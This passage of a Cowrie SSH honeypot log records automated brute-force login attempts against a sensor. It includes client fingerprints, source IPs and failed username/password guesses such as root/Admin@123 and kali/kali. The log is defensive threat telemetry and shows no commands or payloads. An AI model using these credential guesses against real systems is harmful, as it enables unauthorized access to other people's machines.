-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:26.968473Z","src_ip":"176.65.132.129","session":"34744da2cfb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:27.218791Z","src_ip":"176.65.132.129","session":"34744da2cfb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:28.303743Z","src_ip":"176.65.132.129","session":"34744da2cfb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42728,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e39e314ced","protocol":"ssh","message":"New connection: 176.65.132.129:42728 (159.203.135.109:22) [session: 69e39e314ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:30.199077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:30.360846Z","src_ip":"176.65.132.129","session":"69e39e314ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:30.364753Z","src_ip":"176.65.132.129","session":"69e39e314ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:30.744020Z","src_ip":"176.65.132.129","session":"69e39e314ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:31.829368Z","src_ip":"176.65.132.129","session":"69e39e314ced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42740,"dst_ip":"159.203.135.109","dst_port":22,"session":"80e42a90062f","protocol":"ssh","message":"New connection: 176.65.132.129:42740 (159.203.135.109:22) [session: 80e42a90062f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:33.750960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:33.757126Z","src_ip":"176.65.132.129","session":"80e42a90062f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:33.839294Z","src_ip":"176.65.132.129","session":"80e42a90062f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:34.085370Z","src_ip":"176.65.132.129","session":"80e42a90062f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:35.170543Z","src_ip":"176.65.132.129","session":"80e42a90062f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32866,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d8bb18fe99d","protocol":"ssh","message":"New connection: 176.65.132.129:32866 (159.203.135.109:22) [session: 3d8bb18fe99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:37.068914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:37.072336Z","src_ip":"176.65.132.129","session":"3d8bb18fe99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:37.156423Z","src_ip":"176.65.132.129","session":"3d8bb18fe99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:37.403068Z","src_ip":"176.65.132.129","session":"3d8bb18fe99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:38.508421Z","src_ip":"176.65.132.129","session":"3d8bb18fe99d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32880,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c02a88bf71","protocol":"ssh","message":"New connection: 176.65.132.129:32880 (159.203.135.109:22) [session: a5c02a88bf71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:40.403898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:40.408711Z","src_ip":"176.65.132.129","session":"a5c02a88bf71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:40.490889Z","src_ip":"176.65.132.129","session":"a5c02a88bf71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:40.953617Z","src_ip":"176.65.132.129","session":"a5c02a88bf71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:42.038811Z","src_ip":"176.65.132.129","session":"a5c02a88bf71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32894,"dst_ip":"159.203.135.109","dst_port":22,"session":"9468ff60518e","protocol":"ssh","message":"New connection: 176.65.132.129:32894 (159.203.135.109:22) [session: 9468ff60518e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:44.003385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:44.010881Z","src_ip":"176.65.132.129","session":"9468ff60518e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:44.092470Z","src_ip":"176.65.132.129","session":"9468ff60518e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:44.338245Z","src_ip":"176.65.132.129","session":"9468ff60518e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:45.423305Z","src_ip":"176.65.132.129","session":"9468ff60518e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.0301399230957,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:46.948850Z","src_ip":"45.58.127.90","session":"38ae0ee5ec33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51150,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9ec28c73df6","protocol":"ssh","message":"New connection: 176.65.132.129:51150 (159.203.135.109:22) [session: c9ec28c73df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:47.350656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:47.354825Z","src_ip":"176.65.132.129","session":"c9ec28c73df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:47.436985Z","src_ip":"176.65.132.129","session":"c9ec28c73df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:47.684685Z","src_ip":"176.65.132.129","session":"c9ec28c73df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":52979,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ed21d5a4a8","protocol":"ssh","message":"New connection: 193.106.245.20:52979 (10.17.0.5:22) [session: 71ed21d5a4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:48.009903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:48.018080Z","src_ip":"193.106.245.20","session":"71ed21d5a4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:48.134016Z","src_ip":"193.106.245.20","session":"71ed21d5a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing12345","message":"login attempt [testing/testing12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:48.628716Z","src_ip":"193.106.245.20","session":"71ed21d5a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:48.858126Z","src_ip":"176.65.132.129","session":"c9ec28c73df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:49.748465Z","src_ip":"193.106.245.20","session":"71ed21d5a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f02e4c573469","protocol":"ssh","message":"New connection: 176.65.132.129:51166 (159.203.135.109:22) [session: f02e4c573469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:50.618808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:50.622968Z","src_ip":"176.65.132.129","session":"f02e4c573469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:50.705533Z","src_ip":"176.65.132.129","session":"f02e4c573469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:51.019545Z","src_ip":"176.65.132.129","session":"f02e4c573469","protocol":"ssh"}
